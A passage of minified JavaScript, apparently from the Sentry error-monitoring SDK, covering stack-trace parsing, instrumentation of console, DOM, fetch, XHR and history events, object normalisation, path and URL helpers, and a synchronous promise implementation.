0||A===null):K=new String(A);break;case(typeof A==="symbol"||typeof A==="bigint"):K=Object(A);break;case zHA.isPrimitive(A):K=new A.constructor(A);break;default:K=A;break}return K}oW8.addNonEnumerableProperty=iW8;oW8.convertToPlainObject=rW8;oW8.dropUndefinedKeys=PCq;oW8.extractExceptionKeysForMessage=MCq;oW8.fill=WCq;oW8.getOriginalFunction=DCq;oW8.markFunctionWrapped=nW8;oW8.objectify=fCq;oW8.urlEncode=jCq});var JsA=v((sW8)=>{Object.defineProperty(sW8,"__esModule",{value:!0});function aW8(A,K=!1){return!(K||A&&!A.startsWith("/")&&!A.match(/^[A-Z]:/)&&!A.startsWith(".")&&!A.match(/^[a-zA-Z]([a-zA-Z0-9.\-+])*:\/\//))&&A!==void 0&&!A.includes("node_modules/")}function ICq(A){let K=/^\s*[-]{4,}$/,q=/at (?:async )?(?:(.+?)\s+\()?(?:(.+):(\d+):(\d+)?|([^)]+))\)?/;return(Y)=>{let z=Y.match(q);if(z){let w,H,J,O,X;if(z[1]){J=z[1];let G=J.lastIndexOf(".");if(J[G-1]===".")G--;if(G>0){w=J.slice(0,G),H=J.slice(G+1);let Z=w.indexOf(".Module");if(Z>0)J=J.slice(Z+1),w=w.slice(0,Z)}O=void 0}if(H)O=w,X=H;if(H==="<anonymous>")X=void 0,J=void 0;if(J===void 0)X=X||"<anonymous>",J=O?`${O}.${X}`:X;let $=z[2]&&z[2].startsWith("file://")?z[2].slice(7):z[2],_=z[5]==="native";if($&&$.match(/\/[A-Z]:/))$=$.slice(1);if(!$&&z[5]&&!_)$=z[5];return{filename:$,module:A?A($):void 0,function:J,lineno:parseInt(z[3],10)||void 0,colno:parseInt(z[4],10)||void 0,in_app:aW8($,_)}}if(Y.match(K))return{filename:Y};return}}sW8.filenameIsInApp=aW8;sW8.node=ICq});var OsA=v((zD8)=>{Object.defineProperty(zD8,"__esModule",{value:!0});var AD8=JsA(),KD8=50,tW8=/\(error: (.*)\)/,eW8=/captureMessage|captureException/;function qD8(...A){let K=A.sort((q,Y)=>q[0]-Y[0]).map((q)=>q[1]);return(q,Y=0)=>{let z=[],w=q.split(` `);for(let H=Y;H<w.length;H++){let J=w[H];if(J.length>1024)continue;let O=tW8.test(J)?J.replace(tW8,"$1"):J;if(O.match(/\S*Error: /))continue;for(let X of K){let $=X(O);if($){z.push($);break}}if(z.length>=KD8)break}return YD8(z)}}function bCq(A){if(Array.isArray(A))return qD8(...A);return A}function YD8(A){if(!A.length)return[];let K=Array.from(A);if(/sentryWrapped/.test(K[K.length-1].function||""))K.pop();if(K.reverse(),eW8.test(K[K.length-1].function||"")){if(K.pop(),eW8.test(K[K.length-1].function||""))K.pop()}return K.slice(0,KD8).map((q)=>({...q,filename:q.filename||K[K.length-1].filename,function:q.function||"?"}))}var Gu1="<anonymous>";function xCq(A){try{if(!A||typeof A!=="function")return Gu1;return A.name||Gu1}catch(K){return Gu1}}function uCq(A){return[90,AD8.node(A)]}zD8.filenameIsInApp=AD8.filenameIsInApp;zD8.createStackParser=qD8;zD8.getFunctionName=xCq;zD8.nodeStackLineParser=uCq;zD8.stackParserFromStackParserOptions=bCq;zD8.stripSentryFramesAndReverse=YD8});var ag=v((HD8)=>{Object.defineProperty(HD8,"__esModule",{value:!0});var pCq=Xb(),dCq=xR(),cCq=OsA(),wHA={},wD8={};function lCq(A,K){wHA[A]=wHA[A]||[],wHA[A].push(K)}function iCq(){Object.keys(wHA).forEach((A)=>{wHA[A]=void 0})}function nCq(A,K){if(!wD8[A])K(),wD8[A]=!0}function rCq(A,K){let q=A&&wHA[A];if(!q)return;for(let Y of q)try{Y(K)}catch(z){pCq.DEBUG_BUILD&&dCq.logger.error(`Error while triggering instrumentation handler. Type: ${A} Name: ${cCq.getFunctionName(Y)} Error:`,z)}}HD8.addHandler=lCq;HD8.maybeInstrument=nCq;HD8.resetInstrumentationHandlers=iCq;HD8.triggerHandlers=rCq});var Du1=v((JD8)=>{Object.defineProperty(JD8,"__esModule",{value:!0});var Zu1=xR(),eCq=hE(),XsA=YD(),Wu1=ag();function ALq(A){Wu1.addHandler("console",A),Wu1.maybeInstrument("console",KLq)}function KLq(){if(!("console"in XsA.GLOBAL_OBJ))return;Zu1.CONSOLE_LEVELS.forEach(function(A){if(!(A in XsA.GLOBAL_OBJ.console))return;eCq.fill(XsA.GLOBAL_OBJ.console,A,function(K){return Zu1.originalConsoleMethods[A]=K,function(...q){let Y={args:q,level:A};Wu1.triggerHandlers("console",Y);let z=Zu1.originalConsoleMethods[A];z&&z.apply(XsA.GLOBAL_OBJ.console,q)}})})}JD8.addConsoleInstrumentationHandler=ALq});var HvA=v((XD8)=>{Object.defineProperty(XD8,"__esModule",{value:!0});var YLq=hE(),ju1=zvA(),zLq=YD();function wLq(){let A=zLq.GLOBAL_OBJ,K=A.crypto||A.msCrypto,q=()=>Math.random()*16;try{if(K&&K.randomUUID)return K.randomUUID().replace(/-/g,"");if(K&&K.getRandomValues)q=()=>{let Y=new Uint8Array(1);return K.getRandomValues(Y),Y[0]}}catch(Y){}return([1e7]+1000+4000+8000+100000000000).replace(/[018]/g,(Y)=>(Y^(q()&15)>>Y/4).toString(16))}function OD8(A){return A.exception&&A.exception.values?A.exception.values[0]:void 0}function HLq(A){let{message:K,event_id:q}=A;if(K)return K;let Y=OD8(A);if(Y){if(Y.type&&Y.value)return`${Y.type}: ${Y.value}`;return Y.type||Y.value||q||"<unknown>"}return q||"<unknown>"}function JLq(A,K,q){let Y=A.exception=A.exception||{},z=Y.values=Y.values||[],w=z[0]=z[0]||{};if(!w.value)w.value=K||"";if(!w.type)w.type=q||"Error"}function OLq(A,K){let q=OD8(A);if(!q)return;let Y={type:"generic",handled:!0},z=q.mechanism;if(q.mechanism={...Y,...z,...K},K&&"data"in K){let w={...z&&z.data,...K.data};q.mechanism.data=w}}var XLq=/^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/;function $Lq(A){let K=A.match(XLq)||[],q=parseInt(K[1],10),Y=parseInt(K[2],10),z=parseInt(K[3],10);return{buildmetadata:K[5],major:isNaN(q)?void 0:q,minor:isNaN(Y)?void 0:Y,patch:isNaN(z)?void 0:z,prerelease:K[4]}}function _Lq(A,K,q=5){if(K.lineno===void 0)return;let Y=A.length,z=Math.max(Math.min(Y-1,K.lineno-1),0);K.pre_context=A.slice(Math.max(0,z-q),z).map((w)=>ju1.snipLine(w,0)),K.context_line=ju1.snipLine(A[Math.min(Y-1,z)],K.colno||0),K.post_context=A.slice(Math.min(z+1,Y),z+1+q).map((w)=>ju1.snipLine(w,0))}function GLq(A){if(A&&A.__sentry_captured__)return!0;try{YLq.addNonEnumerableProperty(A,"__sentry_captured__",!0)}catch(K){}return!1}function ZLq(A){return Array.isArray(A)?A:[A]}XD8.addContextToFrame=_Lq;XD8.addExceptionMechanism=OLq;XD8.addExceptionTypeValue=JLq;XD8.arrayify=ZLq;XD8.checkOrSetAlreadyCaught=GLq;XD8.getEventDescription=HLq;XD8.parseSemver=$Lq;XD8.uuid4=wLq});var fu1=v((ZD8)=>{Object.defineProperty(ZD8,"__esModule",{value:!0});var TLq=HvA(),$sA=hE(),vLq=YD(),Mu1=ag(),HHA=vLq.GLOBAL_OBJ,ELq=1000,$D8,Pu1,Vu1;function kLq(A){Mu1.addHandler("dom",A),Mu1.maybeInstrument("dom",GD8)}function GD8(){if(!HHA.document)return;let A=Mu1.triggerHandlers.bind(null,"dom"),K=_D8(A,!0);HHA.document.addEventListener("click",K,!1),HHA.document.addEventListener("keypress",K,!1),["EventTarget","Node"].forEach((q)=>{let Y=HHA[q]&&HHA[q].prototype;if(!Y||!Y.hasOwnProperty||!Y.hasOwnProperty("addEventListener"))return;$sA.fill(Y,"addEventListener",function(z){return function(w,H,J){if(w==="click"||w=="keypress")try{let O=this,X=O.__sentry_instrumentation_handlers__=O.__sentry_instrumentation_handlers__||{},$=X[w]=X[w]||{refCount:0};if(!$.handler){let _=_D8(A);$.handler=_,z.call(this,w,_,J)}$.refCount++}catch(O){}return z.call(this,w,H,J)}}),$sA.fill(Y,"removeEventListener",function(z){return function(w,H,J){if(w==="click"||w=="keypress")try{let O=this,X=O.__sentry_instrumentation_handlers__||{},$=X[w];if($){if($.refCount--,$.refCount<=0)z.call(this,w,$.handler,J),$.handler=void 0,delete X[w];if(Object.keys(X).length===0)delete O.__sentry_instrumentation_handlers__}}catch(O){}return z.call(this,w,H,J)}})})}function CLq(A){if(A.type!==Pu1)return!1;try{if(!A.target||A.target._sentryId!==Vu1)return!1}catch(K){}return!0}function LLq(A,K){if(A!=="keypress")return!1;if(!K||!K.tagName)return!0;if(K.tagName==="INPUT"||K.tagName==="TEXTAREA"||K.isContentEditable)return!1;return!0}function _D8(A,K=!1){return(q)=>{if(!q||q._sentryCaptured)return;let Y=RLq(q);if(LLq(q.type,Y))return;if($sA.addNonEnumerableProperty(q,"_sentryCaptured",!0),Y&&!Y._sentryId)$sA.addNonEnumerableProperty(Y,"_sentryId",TLq.uuid4());let z=q.type==="keypress"?"input":q.type;if(!CLq(q))A({event:q,name:z,global:K}),Pu1=q.type,Vu1=Y?Y._sentryId:void 0;clearTimeout($D8),$D8=HHA.setTimeout(()=>{Vu1=void 0,Pu1=void 0},ELq)}}function RLq(A){try{return A.target}catch(K){return null}}ZD8.addClickKeypressInstrumentationHandler=kLq;ZD8.instrumentDOM=GD8});var vu1=v((WD8)=>{Object.defineProperty(WD8,"__esModule",{value:!0});var SLq=Xb(),hLq=xR(),bLq=YD(),_sA=bLq.getGlobalObject();function xLq(){try{return new ErrorEvent(""),!0}catch(A){return!1}}function uLq(){try{return new DOMError(""),!0}catch(A){return!1}}function BLq(){try{return new DOMException(""),!0}catch(A){return!1}}function Tu1(){if(!("fetch"in _sA))return!1;try{return new Request("http://www.example.com"),!0}catch(A){return!1}}function Nu1(A){return A&&/^function fetch\(\)\s+\{\s+\[native code\]\s+\}$/.test(A.toString())}function mLq(){if(typeof EdgeRuntime==="string")return!0;if(!Tu1())return!1;if(Nu1(_sA.fetch))return!0;let A=!1,K=_sA.document;if(K&&typeof K.createElement==="function")try{let q=K.createElement("iframe");if(q.hidden=!0,K.head.appendChild(q),q.contentWindow&&q.contentWindow.fetch)A=Nu1(q.contentWindow.fetch);K.head.removeChild(q)}catch(q){SLq.DEBUG_BUILD&&hLq.logger.warn("Could not create sandbox iframe for pure fetch check, bailing to window.fetch: ",q)}return A}function gLq(){return"ReportingObserver"in _sA}function FLq(){if(!Tu1())return!1;try{return new Request("_",{referrerPolicy:"origin"}),!0}catch(A){return!1}}WD8.isNativeFetch=Nu1;WD8.supportsDOMError=uLq;WD8.supportsDOMException=BLq;WD8.supportsErrorEvent=xLq;WD8.supportsFetch=Tu1;WD8.supportsNativeFetch=mLq;WD8.supportsReferrerPolicy=FLq;WD8.supportsReportingObserver=gLq});var ku1=v((PD8)=>{Object.defineProperty(PD8,"__esModule",{value:!0});var rLq=hE(),oLq=vu1(),DD8=YD(),JvA=ag();function aLq(A){JvA.addHandler("fetch",A),JvA.maybeInstrument("fetch",sLq)}function sLq(){if(!oLq.supportsNativeFetch())return;rLq.fill(DD8.GLOBAL_OBJ,"fetch",function(A){return function(...K){let{method:q,url:Y}=MD8(K),z={args:K,fetchData:{method:q,url:Y},startTimestamp:Date.now()};return JvA.triggerHandlers("fetch",{...z}),A.apply(DD8.GLOBAL_OBJ,K).then((w)=>{let H={...z,endTimestamp:Date.now(),response:w};return JvA.triggerHandlers("fetch",H),w},(w)=>{let H={...z,endTimestamp:Date.now(),error:w};throw JvA.triggerHandlers("fetch",H),w})}})}function Eu1(A,K){return!!A&&typeof A==="object"&&!!A[K]}function jD8(A){if(typeof A==="string")return A;if(!A)return"";if(Eu1(A,"url"))return A.url;if(A.toString)return A.toString();return""}function MD8(A){if(A.length===0)return{method:"GET",url:""};if(A.length===2){let[q,Y]=A;return{url:jD8(q),method:Eu1(Y,"method")?String(Y.method).toUpperCase():"GET"}}let K=A[0];return{url:jD8(K),method:Eu1(K,"method")?String(K.method).toUpperCase():"GET"}}PD8.addFetchInstrumentationHandler=aLq;PD8.parseFetchArgs=MD8});var Ru1=v((VD8)=>{Object.defineProperty(VD8,"__esModule",{value:!0});var Cu1=YD(),Lu1=ag(),GsA=null;function ARq(A){Lu1.addHandler("error",A),Lu1.maybeInstrument("error",KRq)}function KRq(){GsA=Cu1.GLOBAL_OBJ.onerror,Cu1.GLOBAL_OBJ.onerror=function(A,K,q,Y,z){let w={column:Y,error:z,line:q,msg:A,url:K};if(Lu1.triggerHandlers("error",w),GsA&&!GsA.__SENTRY_LOADER__)return GsA.apply(this,arguments);return!1},Cu1.GLOBAL_OBJ.onerror.__SENTRY_INSTRUMENTED__=!0}VD8.addGlobalErrorInstrumentationHandler=ARq});var Su1=v((fD8)=>{Object.defineProperty(fD8,"__esModule",{value:!0});var yu1=YD(),Iu1=ag(),ZsA=null;function YRq(A){Iu1.addHandler("unhandledrejection",A),Iu1.maybeInstrument("unhandledrejection",zRq)}function zRq(){ZsA=yu1.GLOBAL_OBJ.onunhandledrejection,yu1.GLOBAL_OBJ.onunhandledrejection=function(A){let K=A;if(Iu1.triggerHandlers("unhandledrejection",K),ZsA&&!ZsA.__SENTRY_LOADER__)return ZsA.apply(this,arguments);return!0},yu1.GLOBAL_OBJ.onunhandledrejection.__SENTRY_INSTRUMENTED__=!0}fD8.addGlobalUnhandledRejectionInstrumentationHandler=YRq});var hu1=v((ND8)=>{Object.defineProperty(ND8,"__esModule",{value:!0});var HRq=YD(),WsA=HRq.getGlobalObject();function JRq(){let A=WsA.chrome,K=A&&A.app&&A.app.runtime,q="history"in WsA&&!!WsA.history.pushState&&!!WsA.history.replaceState;return!K&&q}ND8.supportsHistory=JRq});var bu1=v((vD8)=>{Object.defineProperty(vD8,"__esModule",{value:!0});var TD8=hE();Xb();xR();var XRq=YD(),$Rq=hu1(),jsA=ag(),OvA=XRq.GLOBAL_OBJ,DsA;function _Rq(A){jsA.addHandler("history",A),jsA.maybeInstrument("history",GRq)}function GRq(){if(!$Rq.supportsHistory())return;let A=OvA.onpopstate;OvA.onpopstate=function(...q){let Y=OvA.location.href,z=DsA;DsA=Y;let w={from:z,to:Y};if(jsA.triggerHandlers("history",w),A)try{return A.apply(this,q)}catch(H){}};function K(q){return function(...Y){let z=Y.length>2?Y[2]:void 0;if(z){let w=DsA,H=String(z);DsA=H;let J={from:w,to:H};jsA.triggerHandlers("history",J)}return q.apply(this,Y)}}TD8.fill(OvA.history,"pushState",K),TD8.fill(OvA.history,"replaceState",K)}vD8.addHistoryInstrumentationHandler=_Rq});var xu1=v((kD8)=>{Object.defineProperty(kD8,"__esModule",{value:!0});var PsA=SE(),MsA=hE(),WRq=YD(),VsA=ag(),DRq=WRq.GLOBAL_OBJ,XvA="__sentry_xhr_v3__";function jRq(A){VsA.addHandler("xhr",A),VsA.maybeInstrument("xhr",ED8)}function ED8(){if(!DRq.XMLHttpRequest)return;let A=XMLHttpRequest.prototype;MsA.fill(A,"open",function(K){return function(...q){let Y=Date.now(),z=PsA.isString(q[0])?q[0].toUpperCase():void 0,w=MRq(q[1]);if(!z||!w)return K.apply(this,q);if(this[XvA]={method:z,url:w,request_headers:{}},z==="POST"&&w.match(/sentry_key/))this.__sentry_own_request__=!0;let H=()=>{let J=this[XvA];if(!J)return;if(this.readyState===4){try{J.status_code=this.status}catch(X){}let O={args:[z,w],endTimestamp:Date.now(),startTimestamp:Y,xhr:this};VsA.triggerHandlers("xhr",O)}};if("onreadystatechange"in this&&typeof this.onreadystatechange==="function")MsA.fill(this,"onreadystatechange",function(J){return function(...O){return H(),J.apply(this,O)}});else this.addEventListener("readystatechange",H);return MsA.fill(this,"setRequestHeader",function(J){return function(...O){let[X,$]=O,_=this[XvA];if(_&&PsA.isString(X)&&PsA.isString($))_.request_headers[X.toLowerCase()]=$;return J.apply(this,O)}}),K.apply(this,q)}}),MsA.fill(A,"send",function(K){return function(...q){let Y=this[XvA];if(!Y)return K.apply(this,q);if(q[0]!==void 0)Y.body=q[0];let z={args:[Y.method,Y.url],startTimestamp:Date.now(),xhr:this};return VsA.triggerHandlers("xhr",z),K.apply(this,q)}})}function MRq(A){if(PsA.isString(A))return A;try{return A.toString()}catch(K){}return}kD8.SENTRY_XHR_DATA_KEY=XvA;kD8.addXhrInstrumentationHandler=jRq;kD8.instrumentXHR=ED8});var bD8=v((hD8)=>{Object.defineProperty(hD8,"__esModule",{value:!0});var NRq=Xb(),TRq=xR(),CD8=Du1(),LD8=fu1(),RD8=ku1(),yD8=Ru1(),ID8=Su1(),SD8=bu1(),uu1=xu1();function vRq(A,K){switch(A){case"console":return CD8.addConsoleInstrumentationHandler(K);case"dom":return LD8.addClickKeypressInstrumentationHandler(K);case"xhr":return uu1.addXhrInstrumentationHandler(K);case"fetch":return RD8.addFetchInstrumentationHandler(K);case"history":return SD8.addHistoryInstrumentationHandler(K);case"error":return yD8.addGlobalErrorInstrumentationHandler(K);case"unhandledrejection":return ID8.addGlobalUnhandledRejectionInstrumentationHandler(K);default:NRq.DEBUG_BUILD&&TRq.logger.warn("unknown instrumentation type:",A)}}hD8.addConsoleInstrumentationHandler=CD8.addConsoleInstrumentationHandler;hD8.addClickKeypressInstrumentationHandler=LD8.addClickKeypressInstrumentationHandler;hD8.addFetchInstrumentationHandler=RD8.addFetchInstrumentationHandler;hD8.addGlobalErrorInstrumentationHandler=yD8.addGlobalErrorInstrumentationHandler;hD8.addGlobalUnhandledRejectionInstrumentationHandler=ID8.addGlobalUnhandledRejectionInstrumentationHandler;hD8.addHistoryInstrumentationHandler=SD8.addHistoryInstrumentationHandler;hD8.SENTRY_XHR_DATA_KEY=uu1.SENTRY_XHR_DATA_KEY;hD8.addXhrInstrumentationHandler=uu1.addXhrInstrumentationHandler;hD8.addInstrumentationHandler=vRq});var Bu1=v((xD8)=>{Object.defineProperty(xD8,"__esModule",{value:!0});function bRq(){return typeof __SENTRY_BROWSER_BUNDLE__<"u"&&!!__SENTRY_BROWSER_BUNDLE__}function xRq(){return"npm"}xD8.getSDKSource=xRq;xD8.isBrowserBundle=bRq});var mu1=v((uD8,NsA)=>{Object.defineProperty(uD8,"__esModule",{value:!0});var mRq=Bu1();function gRq(){return!mRq.isBrowserBundle()&&Object.prototype.toString.call(typeof process<"u"?process:0)==="[object process]"}function fsA(A,K){return A.require(K)}function FRq(A){let K;try{K=fsA(NsA,A)}catch(q){}try{let{cwd:q}=fsA(NsA,"process");K=fsA(NsA,`${q()}/node_modules/${A}`)}catch(q){}return K}uD8.dynamicRequire=fsA;uD8.isNodeEnv=gRq;uD8.loadModule=FRq});var gD8=v((mD8)=>{Object.defineProperty(mD8,"__esModule",{value:!0});var dRq=mu1(),BD8=YD();function cRq(){return typeof window<"u"&&(!dRq.isNodeEnv()||lRq())}function lRq(){return BD8.GLOBAL_OBJ.process!==void 0&&BD8.GLOBAL_OBJ.process.type==="renderer"}mD8.isBrowser=cRq});var gu1=v((FD8)=>{Object.defineProperty(FD8,"__esModule",{value:!0});function nRq(){let A=typeof WeakSet==="function",K=A?new WeakSet:[];function q(z){if(A){if(K.has(z))return!0;return K.add(z),!1}for(let w=0;w<K.length;w++)if(K[w]===z)return!0;return K.push(z),!1}function Y(z){if(A)K.delete(z);else for(let w=0;w<K.length;w++)if(K[w]===z){K.splice(w,1);break}}return[q,Y]}FD8.memoBuilder=nRq});var $vA=v((pD8)=>{Object.defineProperty(pD8,"__esModule",{value:!0});var Fu1=SE(),oRq=gu1(),aRq=hE(),sRq=OsA();function QD8(A,K=100,q=1/0){try{return TsA("",A,K,q)}catch(Y){return{ERROR:`**non-serializable** (${Y})`}}}function UD8(A,K=3,q=102400){let Y=QD8(A,K);if(Kyq(Y)>q)return UD8(A,K-1,q);return Y}function TsA(A,K,q=1/0,Y=1/0,z=oRq.memoBuilder()){let[w,H]=z;if(K==null||["number","boolean","string"].includes(typeof K)&&!Fu1.isNaN(K))return K;let J=tRq(A,K);if(!J.startsWith("[object "))return J;if(K.__sentry_skip_normalization__)return K;let O=typeof K.__sentry_override_normalization_depth__==="number"?K.__sentry_override_normalization_depth__:q;if(O===0)return J.replace("object ","");if(w(K))return"[Circular ~]";let X=K;if(X&&typeof X.toJSON==="function")try{let Z=X.toJSON();return TsA("",Z,O-1,Y,z)}catch(Z){}let $=Array.isArray(K)?[]:{},_=0,G=aRq.convertToPlainObject(K);for(let Z in G){if(!Object.prototype.hasOwnProperty.call(G,Z))continue;if(_>=Y){$[Z]="[MaxProperties ~]";break}let W=G[Z];$[Z]=TsA(Z,W,O-1,Y,z),_++}return H(K),$}function tRq(A,K){try{if(A==="domain"&&K&&typeof K==="object"&&K._events)return"[Domain]";if(A==="domainEmitter")return"[DomainEmitter]";if(typeof global<"u"&&K===global)return"[Global]";if(typeof window<"u"&&K===window)return"[Window]";if(typeof document<"u"&&K===document)return"[Document]";if(Fu1.isVueViewModel(K))return"[VueViewModel]";if(Fu1.isSyntheticEvent(K))return"[SyntheticEvent]";if(typeof K==="number"&&K!==K)return"[NaN]";if(typeof K==="function")return`[Function: ${sRq.getFunctionName(K)}]`;if(typeof K==="symbol")return`[${String(K)}]`;if(typeof K==="bigint")return`[BigInt: ${String(K)}]`;let q=eRq(K);if(/^HTML(\w*)Element$/.test(q))return`[HTMLElement: ${q}]`;return`[object ${q}]`}catch(q){return`**non-serializable** (${q})`}}function eRq(A){let K=Object.getPrototypeOf(A);return K?K.constructor.name:"null prototype"}function Ayq(A){return~-encodeURI(A).split(/%..|./).length}function Kyq(A){return Ayq(JSON.stringify(A))}function qyq(A,K){let q=K.replace(/\\/g,"/").replace(/[|\\{}()[\]^$+*?.]/g,"\\$&"),Y=A;try{Y=decodeURI(A)}catch(z){}return Y.replace(/\\/g,"/").replace(/webpack:\/?/g,"").replace(new RegExp(`(file://)?/*${q}/*`,"ig"),"app:///")}pD8.normalize=QD8;pD8.normalizeToSize=UD8;pD8.normalizeUrlToBase=qyq;pD8.walk=TsA});var oD8=v((rD8)=>{Object.defineProperty(rD8,"__esModule",{value:!0});function cD8(A,K){let q=0;for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(z===".")A.splice(Y,1);else if(z==="..")A.splice(Y,1),q++;else if(q)A.splice(Y,1),q--}if(K)for(;q--;q)A.unshift("..");return A}var Jyq=/^(\S+:\\|\/?)([\s\S]*?)((?:\.{1,2}|[^/\\]+?|)(\.[^./\\]*|))(?:[/\\]*)$/;function lD8(A){let K=A.length>1024?`<truncated>${A.slice(-1024)}`:A,q=Jyq.exec(K);return q?q.slice(1):[]}function Qu1(...A){let K="",q=!1;for(let Y=A.length-1;Y>=-1&&!q;Y--){let z=Y>=0?A[Y]:"/";if(!z)continue;K=`${z}/${K}`,q=z.charAt(0)==="/"}return K=cD8(K.split("/").filter((Y)=>!!Y),!q).join("/"),(q?"/":"")+K||"."}function dD8(A){let K=0;for(;K<A.length;K++)if(A[K]!=="")break;let q=A.length-1;for(;q>=0;q--)if(A[q]!=="")break;if(K>q)return[];return A.slice(K,q-K+1)}function Oyq(A,K){A=Qu1(A).slice(1),K=Qu1(K).slice(1);let q=dD8(A.split("/")),Y=dD8(K.split("/")),z=Math.min(q.length,Y.length),w=z;for(let J=0;J<z;J++)if(q[J]!==Y[J]){w=J;break}let H=[];for(let J=w;J<q.length;J++)H.push("..");return H=H.concat(Y.slice(w)),H.join("/")}function iD8(A){let K=nD8(A),q=A.slice(-1)==="/",Y=cD8(A.split("/").filter((z)=>!!z),!K).join("/");if(!Y&&!K)Y=".";if(Y&&q)Y+="/";return(K?"/":"")+Y}function nD8(A){return A.charAt(0)==="/"}function Xyq(...A){return iD8(A.join("/"))}function $yq(A){let K=lD8(A),q=K[0],Y=K[1];if(!q&&!Y)return".";if(Y)Y=Y.slice(0,Y.length-1);return q+Y}function _yq(A,K){let q=lD8(A)[2];if(K&&q.slice(K.length*-1)===K)q=q.slice(0,q.length-K.length);return q}rD8.basename=_yq;rD8.dirname=$yq;rD8.isAbsolute=nD8;rD8.join=Xyq;rD8.normalizePath=iD8;rD8.relative=Oyq;rD8.resolve=Qu1});var Uu1=v((aD8)=>{Object.defineProperty(aD8,"__esModule",{value:!0});var Vyq=SE(),sg;(function(A){A[A.PENDING=0]="PENDING";let q=1;A[A.RESOLVED=q]="RESOLVED";let Y=2;A[A.REJECTED=Y]="REJECTED"})(sg||(sg={}));function fyq(A){return new $b((K)=>{K(A)})}function Nyq(A){return new $b((K,q)=>{q(A)})}class $b{constructor(A){$b.prototype.__init.call(this),$b.prototype.__init2.call(this),$b.prototype.__init3.call(this),$b.prototype.__init4.call(this),this._state=sg.PENDING,this._handlers=[];try{A(this._resolve,this._reject)}catch(K){this._reject(K)}}then(A,K){return new $b((q,Y)=>{this._handlers.push([!1,(z)=>{if(!A)q(z);else try{q(A(z))}catch(w){Y(w)}},(z)=>{if(!K)Y(z);else try{q(K(z))}catch(w){Y(w)}}]),this._executeHandlers()})}catch(A){return this.then((K)=>K,A)}finally(A){return new $b((K,q)=>{let Y,z;return this.then((w)=>{if(z=!1,Y=w,A)A()},(w)=>{if(z=!0,Y=w,A)A()}).then(()=>{if(z){q(Y);return}K(Y)})})}__init(){this._resolve=(A)=>{this._setResult(sg.RESOLVED,A)}}__init2(){this._reject=(A)=>{this._setResult(sg.REJECTED,A)}}__init3(){this._setResult=(A,K)=>{if(this._state!==sg.PENDING)return;if(Vyq.isThenable(K)){K.then(this._resolve,this._reject);return}this._state=A,this._value=K,this._executeHandlers()}}__init4(){this._executeHandlers=()=>{if(this._state===sg.PENDING)return;let A=this._handlers.slice();this._handlers=[],A.forEach((K)=>{if(K[0])return;if(this._state===sg.RESOLVED)K[1](this._value);if(this._state===sg.REJECTED)K[2](this._value);K[0]=!0})}}}aD8.SyncPromise=$b;aD8.rejectedSyncPromise=Nyq;aD8.resolvedSyncPromise=fyq});var tD8=v((sD8)=>{Object.defineProperty(sD8,"__esModule",{value:!0});var kyq=$u1(),pu1=Uu1();function Cyq(A){let K=[];function q(){return A===void 0||K.length<A}function Y(H){return K.splice(K.indexOf(H),1)[0]}function z(H){if(!q())return pu1.rejectedSyncPromise(new kyq.SentryError("Not adding Promise because buffer limit was reached."));let J=H();if(K.indexOf(J)===-1)K.push(J);return J.then(()=>Y(J)).then(null,()=>Y(J).then(null,()=>{})),J}function w(H){return new pu1.SyncPromise((J,O)=>{let X=K.length;if(!X)return J(!0);let $=setTimeout(()=>{if(H&&H>0)J(!1)},H);K.forEach((_)=>{pu1.resolvedSyncPromise(_).then(()=>{if(!--X)clearTimeout($),J(!0)},O)})})}return{$:K,add:z,drain:w}}sD8.makePromiseBuffer=Cyq});var Aj8=v((eD8)=>{Object.defineProperty(eD8,"__esModule",{value:!0});function Ryq(A){let K={},q=0;while(q<A.length){let Y=A.indexOf("=",q);if(Y===-1)break;let z=A.indexOf(";",q);if(z===-1)z=A.length;else if(z<Y){q=A.lastIndexOf(";",Y-1)+1;continue}let w=A.slice(q,Y).trim();if(K[w]===void 0){let H=A.slice(Y+1,z).trim();if(H.charCodeAt(0)===34)H=H.slice(1,-1);try{K[w]=H.indexOf("%")!==-1?decodeURIComponent(H):H}catch(J){K[w]=H}}q=z+1}return K}eD8.parseCookie=Ryq});var du1=v((Kj8)=>{Object.defineProperty(Kj8,"__esModule",{value:!0});function Iyq(A){if(!A)return{};let K=A.match(/^(([^:/?#]+):)?(\/\/([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/);if(!K)return{};let q=K[6]||"",Y=K[8]||"";return{host:K[4],path:K[5],protocol:K[2],search:q,hash:Y,relative:K[5]+q+Y}}function Syq(A){return A.split(/[\?#]/,1)[0]}function hyq(A){return A.split(/\\?\//).filter((K)=>K.length>0&&K!==",").length}function byq(A){let{protocol:K,host:q,path:Y}=A,z=q&&q.replace(/^.*@/,"[filtered]:[filtered]@").replace(/(:80)$/,"").replace(/(:443)$/,"")||"";return`${K?`${K}://`:""}${z}${Y}`}Kj8.getNumberOfUrlSegments=hyq;Kj8.getSanitizedUrlString=byq;Kj8.parseUrl=Iyq;Kj8.stripUrlQueryAndFragment=Syq});var Jj8=v((Hj8)=>{Object.defineProperty(Hj8,"__esModule",{value:!0});var gyq=Aj8(),Fyq=Xb(),qj8=SE(),Qyq=xR(),Uyq=$vA(),pyq=du1(),dyq={ip:!1,request:!0,transaction:!0,user:!0},cyq=["cookies","data","headers","method","query_string","url"],Yj8=["id","username","email"];function lyq(A,K,q){if(!A)return;if(!A.metadata.source||A.metadata.source==="url"){let[Y,z]=vsA(K,{path:!0,method:!0});A.updateName(Y),A.setMetadata({source:z})}if(A.setAttribute("url",K.originalUrl||K.url),K.baseUrl)A.setAttribute("baseUrl",K.baseUrl);A.setData("query",zj8(K,q))}function vsA(A,K={}){let q=A.method&&A.method.toUpperCase(),Y="",z="url";if(K.customRoute||A.route)Y=K.customRoute||`${A.baseUrl||""}${A.route&&A.route.path}`,z="route";else if(A.originalUrl||A.url)Y=pyq.stripUrlQueryAndFragment(A.originalUrl||A.url||"");let w="";if(K.method&&q)w+=q;if(K.method&&K.path)w+=" ";if(K.path&&Y)w+=Y;return[w,z]}function iyq(A,K){switch(K){case"path":return vsA(A,{path:!0})[0];case"handler":return A.route&&A.route.stack&&A.route.stack[0]&&A.route.stack[0].name||"<anonymous>";case"methodPath":default:{let q=A._reconstructedRoute?A._reconstructedRoute:void 0;return 